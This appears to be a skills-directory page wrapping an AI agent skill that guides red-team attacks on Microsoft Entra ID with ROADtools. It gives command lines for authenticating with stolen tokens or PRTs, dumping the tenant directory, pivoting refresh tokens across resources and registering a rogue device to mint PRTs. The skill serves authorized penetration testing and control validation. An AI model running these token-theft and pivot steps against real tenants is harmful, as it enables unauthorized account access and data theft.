[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6ADVHWN636CQNRZ70YYM2S9":3,"skill-same:01M6ADVHWN636CQNRZ70YYM2S9":99},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":41,"linkOnly":42,"markdownContent":43,"markdownBody":44,"frontMatter":45,"refName":54,"commitSha":55,"skillDirectory":56,"forksCount":57,"repositoryHtmlUrl":58,"repositoryHomepageUrl":59,"ownerHtmlUrl":60,"ownerBlogUrl":61,"ownerDescription":62,"updatedAt":63,"install":64,"resources":77},"01M6ADVHWN636CQNRZ70YYM2S9","attacking-entra-id-with-roadtools",null,"Enumerate Microsoft Entra ID (Azure AD) tenants with ROADrecon and acquire, exchange, and abuse tokens (including primary refresh tokens) with roadtx. Use for authorized red-team enumeration of a tenant's directory objects or for token-based identity attacks against Entra ID you are explicitly authorized to test.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fattacking-entra-id-with-roadtools\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40],"attacking entra id with roadtools","entra id","red-team","identity-attack","primary-refresh-token","cloud-enumeration","token-manipulation","roadtools","azure-ad","entra-id","directory","cloud","azure","identity","microsoft","test","cybersecurity","2026-11-10 10:12:30",false,"---\nname: attacking-entra-id-with-roadtools\ndescription: Enumerate Microsoft Entra ID (Azure AD) tenants with ROADrecon and\n  acquire, exchange, and abuse tokens (including primary refresh tokens) with roadtx.\n  Use for authorized red-team enumeration of a tenant's directory objects or for\n  token-based identity attacks against Entra ID you are explicitly authorized to\n  test.\ndomain: cybersecurity\nsubdomain: identity-access-management\ntags:\n- red-team\n- entra-id\n- azure-ad\n- roadtools\n- token-manipulation\n- cloud-enumeration\n- primary-refresh-token\n- identity-attack\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.AM-03\nmitre_attack:\n- T1087.004\n---\n# Attacking Entra ID with ROADtools\n\n> **Authorized use only:** ROADtools interacts with live Microsoft Entra ID (Azure AD) tenants and can register devices, mint and exchange tokens, and enumerate directory objects. Use it solely against tenants you own or are explicitly authorized in writing to test. Unauthorized access to a cloud tenant is illegal.\n\n## Overview\n\nROADtools (by Dirk-jan Mollema) is the de facto offensive toolkit for Microsoft Entra ID. It has two main components:\n\n- **ROADrecon** — authenticates to Entra ID, *gathers* the full directory into a local SQLite database via the Azure AD Graph API, and serves an Angular GUI to explore users, groups, roles, applications, service principals, conditional-access policies, and device objects offline. A plugin system exports to BloodHound and analyzes CA policies.\n- **roadtx (ROADtools Token eXchange)** — acquires and exchanges Entra-issued tokens across the many OAuth flows (ROPC, device code, auth-code, refresh-token exchange, app\u002Ffederated app), performs device registration, and handles Primary Refresh Token (PRT) operations including PRT-based SSO and cookie minting. Its FOCI (Family of Client IDs) awareness lets a refresh token for one first-party client be redeemed for another resource.\n\nTogether they cover the **Discovery** phase against cloud identity: enumerate the tenant (T1087.004 Account Discovery: Cloud Account) and obtain\u002Fmanipulate the tokens needed to reach Microsoft Graph, Azure Resource Manager, and other resources. ROADrecon's offline database makes recon stealthy and fast; roadtx makes token theft, PRT abuse, and cross-resource pivoting practical.\n\n## When to Use\n\n- During an authorized Azure \u002F Entra ID red-team or cloud penetration test.\n- When you have a foothold credential, refresh token, or PRT and need to enumerate the tenant.\n- When you must pivot a token from one resource (e.g., Azure CLI) to another (e.g., Microsoft Graph).\n- When validating that conditional-access, device-compliance, and token controls actually constrain an attacker.\n- When mapping Entra attack paths (export to BloodHound for graph analysis).\n\n## Prerequisites\n\n- Written authorization and defined scope for the target tenant.\n- A starting credential: username\u002Fpassword (no MFA flows), a device code session, a refresh\u002Faccess token, or a registered device's PRT.\n- Python 3.7+ (roadtx Selenium flows need a matching geckodriver\u002FFirefox).\n\n```bash\n# Core install (roadlib is a shared dependency, pulled in automatically)\npython -m pip install roadrecon\npython -m pip install roadtx\n# Verify\nroadrecon --help\nroadtx --help\n```\n\n## Objectives\n\n- Authenticate to Entra ID via the appropriate flow (device code preferred for MFA).\n- Gather the full directory with ROADrecon and analyze it in the GUI.\n- Export the directory to BloodHound and run CA-policy analysis plugins.\n- Acquire tokens with roadtx and exchange refresh tokens across resources\u002Fclients.\n- Demonstrate PRT-based SSO and document the resulting access.\n\n## MITRE ATT&CK Mapping\n\n| ID | Tactic | Official Technique Name | Role in this skill |\n|----|--------|-------------------------|--------------------|\n| T1087.004 | Discovery | Account Discovery: Cloud Account | ROADrecon enumerates tenant users\u002Faccounts |\n| T1069.003 | Discovery | Permission Groups Discovery: Cloud Groups | ROADrecon enumerates Entra groups and roles |\n| T1538 | Discovery | Cloud Service Dashboard | GUI exploration of tenant configuration |\n| T1550.001 | Defense Evasion \u002F Lateral Movement | Use Alternate Authentication Material: Application Access Token | roadtx refresh-token exchange across resources |\n| T1528 | Credential Access | Steal Application Access Token | roadtx PRT\u002Ftoken acquisition |\n\n## Workflow\n\n### Step 1: Authenticate with ROADrecon\n\nPick the flow that matches your foothold. Device code supports MFA; ROPC (-u\u002F-p) does not.\n\n```bash\n# Username\u002Fpassword (legacy, no MFA)\nroadrecon auth -u user@tenant.onmicrosoft.com -p 'Password123!'\n\n# Device-code flow (supports MFA)\nroadrecon auth --device-code\n\n# From a stolen access or refresh token\nroadrecon auth --access-token \u003CJWT>\nroadrecon auth --refresh-token \u003Crefresh_token>\n\n# From a PRT (with session key) for SSO-grade access\nroadrecon auth --prt \u003Cprt> --prt-sessionkey \u003Csession_key>\n```\nAuthentication writes `.roadtools_auth` in the working directory.\n\n### Step 2: Gather the directory\n\n```bash\n# Full gather into roadrecon.db (default)\nroadrecon gather\n\n# Include MFA\u002Fauth-method details (requires a privileged role)\nroadrecon gather --mfa\n```\n\n### Step 3: Explore in the GUI\n\n```bash\nroadrecon gui\n# Browse to http:\u002F\u002F127.0.0.1:5000 — users, groups, roles, applications,\n# service principals, devices, and conditional-access policies, all offline.\n```\n\n### Step 4: Run analysis plugins\n\n```bash\n# Analyze conditional-access policies\nroadrecon plugin policies -h\nroadrecon plugin policies\n\n# Export the gathered data to a BloodHound-importable format\nroadrecon plugin bloodhound -h\nroadrecon plugin bloodhound\n```\n\n### Step 5: Acquire tokens with roadtx\n\n```bash\n# ROPC: get a Microsoft Graph token for the Azure CLI client\nroadtx gettokens -u user@tenant.com -p 'Password123!' -c azcli -r msgraph\n\n# Device-code style interactive auth for the Teams client to Graph\nroadtx interactiveauth -c msteams -r msgraph\n\n# From an existing refresh token\nroadtx gettokens --refresh-token \u003Crefresh_token> -r msgraph\n```\nTokens are written to `.roadtools_auth` (use `--tokens-stdout` to print).\n\n### Step 6: Exchange refresh tokens across resources (FOCI pivot)\n\nA FOCI refresh token obtained for one first-party client can be redeemed for another resource without re-auth.\n\n```bash\n# Convert the stored refresh token to an Azure Resource Manager token\nroadtx refreshtokento -r azrm\n\n# Convert to a scoped Graph token via the Teams client\nroadtx refreshtokento -c msteams -r msgraph\n\n# Find which first-party clients hold a given scope\nroadtx getscope -s https:\u002F\u002Fgraph.microsoft.com\u002Fmail.read --foci\n```\n\n### Step 7: Device registration and PRT-based SSO\n\n```bash\n# Register a (virtual) device to the tenant\nroadtx device -n redteam-device\n\n# Request a PRT using the device cert\u002Fkey and user creds\nroadtx prt -u user@tenant.com -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem\n\n# Use the PRT to authenticate a client to a resource (SSO-grade)\nroadtx prtauth -c msteams -r msgraph\n\n# Enrich a PRT with an interactive MFA claim\nroadtx prtenrich -u user@tenant.com\n```\n\n### Step 8: Inspect tokens\n\n```bash\n# Decode and print claims of the stored \u002F a supplied token\nroadtx describe -t \u003CJWT>\nroadtx describe \u003C .roadtools_auth | jq .\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Primary Source |\n|------|---------|----------------|\n| ROADtools (repo) | Toolkit overview + wiki | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools |\n| ROADrecon wiki | Auth\u002Fgather\u002Fgui\u002Fplugin usage | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools\u002Fwiki\u002FGetting-started-with-ROADrecon |\n| roadtx wiki | Token exchange + PRT\u002Fdevice flows | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools\u002Fwiki\u002FROADtools-Token-eXchange-(roadtx) |\n| BloodHound CE | Graph analysis of exported Entra data | https:\u002F\u002Fgithub.com\u002FSpecterOps\u002FBloodHound |\n| Microsoft identity platform | Token\u002Fflow reference | https:\u002F\u002Flearn.microsoft.com\u002Fentra\u002Fidentity-platform\u002F |\n\n## Validation Criteria\n\n- [ ] Authenticated to the target tenant via an authorized flow; `.roadtools_auth` created.\n- [ ] Directory gathered into `roadrecon.db` (with `--mfa` where role allows).\n- [ ] GUI explored; users, groups, roles, apps, CA policies reviewed.\n- [ ] CA-policy and BloodHound plugins executed; data exported.\n- [ ] Tokens acquired with roadtx for at least one resource.\n- [ ] Refresh-token exchange to a second resource demonstrated (FOCI pivot).\n- [ ] Device registered and PRT-based SSO demonstrated (where in scope).\n- [ ] Token claims inspected with `roadtx describe`.\n- [ ] Findings and access documented for the engagement report.\n","# Attacking Entra ID with ROADtools\n\n> **Authorized use only:** ROADtools interacts with live Microsoft Entra ID (Azure AD) tenants and can register devices, mint and exchange tokens, and enumerate directory objects. Use it solely against tenants you own or are explicitly authorized in writing to test. Unauthorized access to a cloud tenant is illegal.\n\n## Overview\n\nROADtools (by Dirk-jan Mollema) is the de facto offensive toolkit for Microsoft Entra ID. It has two main components:\n\n- **ROADrecon** — authenticates to Entra ID, *gathers* the full directory into a local SQLite database via the Azure AD Graph API, and serves an Angular GUI to explore users, groups, roles, applications, service principals, conditional-access policies, and device objects offline. A plugin system exports to BloodHound and analyzes CA policies.\n- **roadtx (ROADtools Token eXchange)** — acquires and exchanges Entra-issued tokens across the many OAuth flows (ROPC, device code, auth-code, refresh-token exchange, app\u002Ffederated app), performs device registration, and handles Primary Refresh Token (PRT) operations including PRT-based SSO and cookie minting. Its FOCI (Family of Client IDs) awareness lets a refresh token for one first-party client be redeemed for another resource.\n\nTogether they cover the **Discovery** phase against cloud identity: enumerate the tenant (T1087.004 Account Discovery: Cloud Account) and obtain\u002Fmanipulate the tokens needed to reach Microsoft Graph, Azure Resource Manager, and other resources. ROADrecon's offline database makes recon stealthy and fast; roadtx makes token theft, PRT abuse, and cross-resource pivoting practical.\n\n## When to Use\n\n- During an authorized Azure \u002F Entra ID red-team or cloud penetration test.\n- When you have a foothold credential, refresh token, or PRT and need to enumerate the tenant.\n- When you must pivot a token from one resource (e.g., Azure CLI) to another (e.g., Microsoft Graph).\n- When validating that conditional-access, device-compliance, and token controls actually constrain an attacker.\n- When mapping Entra attack paths (export to BloodHound for graph analysis).\n\n## Prerequisites\n\n- Written authorization and defined scope for the target tenant.\n- A starting credential: username\u002Fpassword (no MFA flows), a device code session, a refresh\u002Faccess token, or a registered device's PRT.\n- Python 3.7+ (roadtx Selenium flows need a matching geckodriver\u002FFirefox).\n\n```bash\n# Core install (roadlib is a shared dependency, pulled in automatically)\npython -m pip install roadrecon\npython -m pip install roadtx\n# Verify\nroadrecon --help\nroadtx --help\n```\n\n## Objectives\n\n- Authenticate to Entra ID via the appropriate flow (device code preferred for MFA).\n- Gather the full directory with ROADrecon and analyze it in the GUI.\n- Export the directory to BloodHound and run CA-policy analysis plugins.\n- Acquire tokens with roadtx and exchange refresh tokens across resources\u002Fclients.\n- Demonstrate PRT-based SSO and document the resulting access.\n\n## MITRE ATT&CK Mapping\n\n| ID | Tactic | Official Technique Name | Role in this skill |\n|----|--------|-------------------------|--------------------|\n| T1087.004 | Discovery | Account Discovery: Cloud Account | ROADrecon enumerates tenant users\u002Faccounts |\n| T1069.003 | Discovery | Permission Groups Discovery: Cloud Groups | ROADrecon enumerates Entra groups and roles |\n| T1538 | Discovery | Cloud Service Dashboard | GUI exploration of tenant configuration |\n| T1550.001 | Defense Evasion \u002F Lateral Movement | Use Alternate Authentication Material: Application Access Token | roadtx refresh-token exchange across resources |\n| T1528 | Credential Access | Steal Application Access Token | roadtx PRT\u002Ftoken acquisition |\n\n## Workflow\n\n### Step 1: Authenticate with ROADrecon\n\nPick the flow that matches your foothold. Device code supports MFA; ROPC (-u\u002F-p) does not.\n\n```bash\n# Username\u002Fpassword (legacy, no MFA)\nroadrecon auth -u user@tenant.onmicrosoft.com -p 'Password123!'\n\n# Device-code flow (supports MFA)\nroadrecon auth --device-code\n\n# From a stolen access or refresh token\nroadrecon auth --access-token \u003CJWT>\nroadrecon auth --refresh-token \u003Crefresh_token>\n\n# From a PRT (with session key) for SSO-grade access\nroadrecon auth --prt \u003Cprt> --prt-sessionkey \u003Csession_key>\n```\nAuthentication writes `.roadtools_auth` in the working directory.\n\n### Step 2: Gather the directory\n\n```bash\n# Full gather into roadrecon.db (default)\nroadrecon gather\n\n# Include MFA\u002Fauth-method details (requires a privileged role)\nroadrecon gather --mfa\n```\n\n### Step 3: Explore in the GUI\n\n```bash\nroadrecon gui\n# Browse to http:\u002F\u002F127.0.0.1:5000 — users, groups, roles, applications,\n# service principals, devices, and conditional-access policies, all offline.\n```\n\n### Step 4: Run analysis plugins\n\n```bash\n# Analyze conditional-access policies\nroadrecon plugin policies -h\nroadrecon plugin policies\n\n# Export the gathered data to a BloodHound-importable format\nroadrecon plugin bloodhound -h\nroadrecon plugin bloodhound\n```\n\n### Step 5: Acquire tokens with roadtx\n\n```bash\n# ROPC: get a Microsoft Graph token for the Azure CLI client\nroadtx gettokens -u user@tenant.com -p 'Password123!' -c azcli -r msgraph\n\n# Device-code style interactive auth for the Teams client to Graph\nroadtx interactiveauth -c msteams -r msgraph\n\n# From an existing refresh token\nroadtx gettokens --refresh-token \u003Crefresh_token> -r msgraph\n```\nTokens are written to `.roadtools_auth` (use `--tokens-stdout` to print).\n\n### Step 6: Exchange refresh tokens across resources (FOCI pivot)\n\nA FOCI refresh token obtained for one first-party client can be redeemed for another resource without re-auth.\n\n```bash\n# Convert the stored refresh token to an Azure Resource Manager token\nroadtx refreshtokento -r azrm\n\n# Convert to a scoped Graph token via the Teams client\nroadtx refreshtokento -c msteams -r msgraph\n\n# Find which first-party clients hold a given scope\nroadtx getscope -s https:\u002F\u002Fgraph.microsoft.com\u002Fmail.read --foci\n```\n\n### Step 7: Device registration and PRT-based SSO\n\n```bash\n# Register a (virtual) device to the tenant\nroadtx device -n redteam-device\n\n# Request a PRT using the device cert\u002Fkey and user creds\nroadtx prt -u user@tenant.com -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem\n\n# Use the PRT to authenticate a client to a resource (SSO-grade)\nroadtx prtauth -c msteams -r msgraph\n\n# Enrich a PRT with an interactive MFA claim\nroadtx prtenrich -u user@tenant.com\n```\n\n### Step 8: Inspect tokens\n\n```bash\n# Decode and print claims of the stored \u002F a supplied token\nroadtx describe -t \u003CJWT>\nroadtx describe \u003C .roadtools_auth | jq .\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Primary Source |\n|------|---------|----------------|\n| ROADtools (repo) | Toolkit overview + wiki | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools |\n| ROADrecon wiki | Auth\u002Fgather\u002Fgui\u002Fplugin usage | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools\u002Fwiki\u002FGetting-started-with-ROADrecon |\n| roadtx wiki | Token exchange + PRT\u002Fdevice flows | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools\u002Fwiki\u002FROADtools-Token-eXchange-(roadtx) |\n| BloodHound CE | Graph analysis of exported Entra data | https:\u002F\u002Fgithub.com\u002FSpecterOps\u002FBloodHound |\n| Microsoft identity platform | Token\u002Fflow reference | https:\u002F\u002Flearn.microsoft.com\u002Fentra\u002Fidentity-platform\u002F |\n\n## Validation Criteria\n\n- [ ] Authenticated to the target tenant via an authorized flow; `.roadtools_auth` created.\n- [ ] Directory gathered into `roadrecon.db` (with `--mfa` where role allows).\n- [ ] GUI explored; users, groups, roles, apps, CA policies reviewed.\n- [ ] CA-policy and BloodHound plugins executed; data exported.\n- [ ] Tokens acquired with roadtx for at least one resource.\n- [ ] Refresh-token exchange to a second resource demonstrated (FOCI pivot).\n- [ ] Device registered and PRT-based SSO demonstrated (where in scope).\n- [ ] Token claims inspected with `roadtx describe`.\n- [ ] Findings and access documented for the engagement report.\n",{"name":5,"tags":46,"author":47,"domain":40,"license":15,"version":48,"nist_csf":49,"subdomain":51,"description":7,"mitre_attack":52},[26,33,32,31,30,29,28,27],"mahipal","1.0",[50],"ID.AM-03","identity-access-management",[53],"T1087.004","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fattacking-entra-id-with-roadtools",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":65,"prompt":75,"zipAvailable":76},[66,69,72],{"tool":67,"command":68},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill attacking-entra-id-with-roadtools",{"tool":70,"command":71},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill attacking-entra-id-with-roadtools",{"tool":73,"command":74},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill attacking-entra-id-with-roadtools","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fattacking-entra-id-with-roadtools\u002FSKILL.md",true,[78,83,89,93],{"path":79,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fattacking-entra-id-with-roadtools\u002FLICENSE",{"path":84,"resourceType":85,"resourceTypeDesc":86,"sizeBytes":87,"sourceHtmlUrl":88},"references\u002Fapi-reference.md","REFERENCE","参考文档",3118,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fattacking-entra-id-with-roadtools\u002Freferences\u002Fapi-reference.md",{"path":90,"resourceType":85,"resourceTypeDesc":86,"sizeBytes":91,"sourceHtmlUrl":92},"references\u002Fstandards.md",1480,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fattacking-entra-id-with-roadtools\u002Freferences\u002Fstandards.md",{"path":94,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"scripts\u002Fagent.py","SCRIPT","脚本",4881,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fattacking-entra-id-with-roadtools\u002Fscripts\u002Fagent.py",[100,126,150,178,204,231],{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":104,"categories":105,"keywords":107,"publishedAt":41},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[106],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[108,109,110,111,112,40,113,37,114,115,116,117,118,119,120,121,122,123,124,125],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":127,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":130,"categories":131,"keywords":133,"publishedAt":41},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[132],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[134,122,135,136,112,137,40,114,138,139,140,141,142,143,144,145,146,147,148,149],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":151,"name":152,"nameZh":6,"description":153,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":154,"categories":155,"keywords":160,"publishedAt":41},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[156,159],{"categoryNo":157,"categoryName":158,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[144,161,162,163,164,40,165,166,138,167,168,169,170,171,172,173,174,175,176,177],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":179,"name":180,"nameZh":6,"description":181,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":182,"categories":183,"keywords":185,"publishedAt":41},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[184],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[186,187,188,40,189,190,191,192,193,194,195,196,197,198,199,200,141,201,202,203],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":205,"name":206,"nameZh":6,"description":207,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":208,"categories":209,"keywords":211,"publishedAt":41},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[210],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[212,213,214,40,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":232,"name":233,"nameZh":6,"description":234,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":235,"categories":236,"keywords":238,"publishedAt":41},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[237],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[112,239,40,240,241,242,243,244,245,246,247,173,248,174,249,250,251,252,253,254],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]